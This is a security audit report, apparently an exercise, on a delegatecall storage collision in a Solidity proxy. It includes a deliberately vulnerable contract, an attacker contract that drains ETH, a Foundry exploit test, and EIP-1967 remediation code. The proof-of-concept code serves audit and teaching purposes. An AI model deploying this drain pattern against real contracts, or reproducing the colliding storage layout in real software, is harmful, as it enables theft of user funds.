

SECURITY AUDIT REPORT: PROXY PROTOCOL

PROJECT Proxy Protocol

REPOSITORY <https://github.com/molalign8468/30-day-security-sprint>

COMMIT HASH 2bde53a3378c72692e1036dcf3a9d594ad125715

AUDIT DATE March 11, 2026

AUDITOR Molalign Getahun

Executive Summary

Status: **CRITICAL RISK**

The Proxy contract contains Critical-severity vulnerability due to storage layout mismatch between the proxy and implementation contracts. Because the proxy forwards calls using delegatecall, the implementation contract writes directly to the proxy's storage.

Due to inconsistent storage layouts, a user can overwrite the proxy's implementation address, redirect execution to a malicious contract, and drain all funds held by the proxy.

This vulnerability allows a complete compromise of the contract, including arbitrary logic execution and theft of all ETH stored in the proxy. The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	1	Unresolved
High	0	-
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Day7_Delegatecall_storage_collision.sol	Smart Contract	upgradeToPremium(),withdraw(),fallback() and delgatecall logic

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Pattern analysis (SWC-112: Delegatecall to Untrusted Callee)
- ✓ Foundry-based exploit testing

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk

Findings Summary

ID	Severity	Title
CRIT-01	Critical	Delegatecall Storage Collision

Detailed Findings

[CRIT-01] Delegatecall Storage Collision

Severity: Critical

Location: Day7_Delegatecall_storage_collision.sol:L4-L40

Reference: SWC-112 - Smart Contract Weakness Classification (SWC)

Description

The Proxy contract utilizes the delegatecall opcode to execute logic from an implementation contract. However, both the Proxy and the Logic contracts define state variables that occupy the same Storage Slots.

In Ethereum, delegatecall executes code from a target contract using the storage context of the caller. Because the EVM identifies variables by their slot index rather than their name, any write operation in the Logic contract will overwrite the data at the corresponding slot in the Proxy contract.

Technical Breakdown

- **Slot 0 Collision:** The Proxy contract stores its implementation address in Slot 0. The Logic contract defines isPremiumUser (or a similar variable) as its first state variable, which also maps to Slot 0.
- **State Corruption:** When a user calls a function like upgradeToPremium(address _user), the logic instructs the EVM to "Write _user to Slot 0."
- **The Hijack:** Because this runs via delegatecall, the Proxy updates its own Slot 0. This effectively changes the implementation pointer to the _user address.
- **The Drain:** If an attacker points the implementation to a malicious contract, they gain total control over the Proxy's state and balance, leading to a complete loss of funds.

Storage Slot Table

Slot	Proxy Contract Variable	Logic Contract Variable	Explanation / Collision
0	implementation	isPremiumUser	Slot 0 overlap. Writing isPremiumUser in Logic actually overwrites implementation in Proxy.

			Critical vulnerability.
1	admin	securityAdmin	Slot 1 overlap. Writes to securityAdmin in Logic actually overwrite admin in Proxy.

Impact

- ✓ **Contract Bricking:** If the implementation pointer is overwritten with an address that has no code (like `address(0)`), the Proxy becomes permanently unresponsive.
- ✓ **Total Fund Loss:** An attacker can redirect the Proxy to a malicious implementation that contains a `withdraw()` function to drain all held ETH.

Risk Evaluation

- ✓ **Impact:** Critical. An attacker can perform a "brain transplant" on the contract. They swap your logic with theirs, giving them total control to steal all funds or destroy the contract forever.
- ✓ **Likelihood:** High. This is a "loud" mistake. Automated security tools and hackers scan every new contract for storage overlaps. If there is money in the contract, it will be found and exploited quickly.
- ✓ **Overall Severity:** Critical.

Proof of Concept

Vulnerable Contract

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Proxy {
    address public implementation;
    address public admin;

    constructor(address _logic) payable {
        implementation = _logic;
        admin = msg.sender;
    }

    fallback() external {
        address _impl = implementation;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), _impl, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
```

```

        case 0 { revert(0, returndatasize()) }
        default { return(0, returndatasize()) }
    }
}
receive() external payable {}

}

contract Logic {
    address public isPremiumUser;
    address public securityAdmin;

    function upgradeToPremium(address _user) external {
        isPremiumUser = _user;
    }
    receive() external payable {}
    function withdraw() public {
        require(msg.sender == securityAdmin, "Not Admin");
        (bool ok,)=payable(msg.sender).call{value:address(this).balance}("");
        require(ok);
    }
}

```

Attacker Contract

```

contract Attacker {
    address public attacker;
    constructor(address _attacker) {
        attacker = _attacker;
    }

    fallback() external payable {
        _drain();
    }

    receive() external payable {
        _drain();
    }

    function _drain() internal {

```

```

    (bool success,) = payable(attacker).call{value: address(this).balance}("");
    require(success, "Transfer failed");
  }
}

```

Exploit Test

```

interface IProxy {
    function upgradeToPremium(address _user) external;
    function withdraw() external;
}

contract ProxyExploitTest is Test {
    Proxy proxy;
    Logic logic;
    Attacker attacker;

    address attackerEOA = address(1337);

    function setUp() public {
        logic = new Logic();
        proxy = new Proxy(address(logic));

        attacker = new Attacker(attackerEOA);

        vm.deal(address(proxy), 10 ether);
    }

    function test_storageCollisionExploit() public {

        uint256 proxyBalanceBefore = address(proxy).balance;
        assertEq(proxyBalanceBefore, 10 ether);

        IProxy(address(proxy)).upgradeToPremium(address(attacker));

        IProxy(address(proxy)).withdraw();

        assertEq(address(proxy).balance, 0);
        assertEq(attackerEOA.balance, proxyBalanceBefore);
    }
}

```

Recommendations

- ✓ **Use EIP-1967**:- Instead of using Slot 0, store the logic address in a specific, "random" slot far away from your regular variables. This ensures the Logic contract will never accidentally overwrite it.

```
pragma solidity ^0.8.0;
contract SafeProxy {
    bytes32 private constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    constructor(address _logic){
        assembly {
            sstore(_IMPLEMENTATION_SLOT,_logic)
        }
    }
    fallback() external{
        assembly {
            let impl := sload(_IMPLEMENTATION_SLOT)

            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())

            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }
}
```

- ✓ **Use Inherited Storage** :- Make sure your Proxy and Logic contracts inherit from the exact same "Storage" contract. This forces them to have the same "floor plan," so they both agree on which variable lives in which slot

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.